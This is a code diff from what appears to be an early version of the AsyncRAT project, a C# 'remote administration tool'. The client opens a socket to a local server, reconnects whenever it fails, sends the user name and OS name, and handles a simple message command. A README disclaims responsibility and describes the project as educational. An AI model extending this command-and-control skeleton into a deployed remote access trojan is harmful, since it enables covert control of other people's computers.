client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
client.ReceiveBufferSize = 50 * 1024;
client.SendBufferSize = 50 * 1024;
client.ReceiveTimeout = -1;
client.SendTimeout = -1;
client.Connect("127.0.0.1", 8080);
Console.WriteLine("Connected!");
Buffer = new byte[1];
Buffersize = 0;
BufferRecevied = false;
MS = new MemoryStream();
BeginSend(SendInfo());
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
}
catch
{
Thread.Sleep(2500);
InitializeClient();
}
}
public static byte[] SendInfo()
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "ClientInfo";
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString();
return msgpack.Encode2Bytes();
}
public static void ReadClientData(IAsyncResult ar)
{
try
{
int Recevied = client.EndReceive(ar);
if (Recevied > 0)
{
if (BufferRecevied == false)
{
if (Buffer[0] == 0)
{
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
MS = new MemoryStream();
if (Buffersize > 0)
{
Buffer = new byte[Buffersize - 1];
BufferRecevied = true;
}
}
else
{
MS.Write(Buffer, 0, Buffer.Length);
}
}
else
{
MS.Write(Buffer, 0, Recevied);
if (MS.Length == Buffersize)
{
Read(MS.ToArray());
MS = new MemoryStream();
Buffer = new byte[1];
Buffersize = 0;
BufferRecevied = false;
}
}
}
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
}
catch
{
client.Close();
client.Dispose();
InitializeClient();
}
}
public static void Read(byte[] Data)
{
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes(Data);
Console.WriteLine("I recevied a packet from server: " + unpack_msgpack.ForcePathObject("Packet").AsString);
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "MessageBox":
{
Console.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString);
}
break;
}
}
public static void BeginSend(byte[] Msgs)
{
try
{
using (MemoryStream MS = new MemoryStream())
{
byte[] buffer = Msgs;
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0));
MS.Write(buffersize, 0, buffersize.Length);
MS.Write(buffer, 0, buffer.Length);
client.Poll(-1, SelectMode.SelectWrite);
client.BeginSend(MS.ToArray(), 0, Convert.ToInt32(MS.Length), SocketFlags.None, new AsyncCallback(EndSend), null);
}
}
catch
{
}
}
public static void EndSend(IAsyncResult ar)
{
try
{
client.EndSend(ar);
}
catch
{
}
}
}
}

View File

@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("Client")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Client")]
[assembly: AssemblyCopyright("Copyright © 2019")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("c3c49f45-2589-4e04-9c50-71b6035c14ae")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]

View File

@ -1 +1,42 @@
# AsyncRAT-C-Sharp <img src="https://i.imgur.com/j9p2P2B.png">
# AsyncRAT
***Remote Administration Tool For Windows***
```
AsyncRAT project is all about learning tcp socket.
If you found a bug or a better way to code the socket please contact me.
```
---
## Author
* **NYAN CAT**
---
## Disclaimer
I, the creator, am not responsible for any actions, and or damages, caused by this software.
You bear the full responsibility of your actions and acknowledge that this software was created for educational purposes only.
This software's main purpose is NOT to be used maliciously, or on any system that you do not own, or have the right to use.
By using this software, you automatically agree to the above.
---
## License
[![License](http://img.shields.io/:license-mit-blue.svg?style=flat-square)](/LICENSE)
This project is licensed under the MIT License - see the [LICENSE](/LICENSE) file for details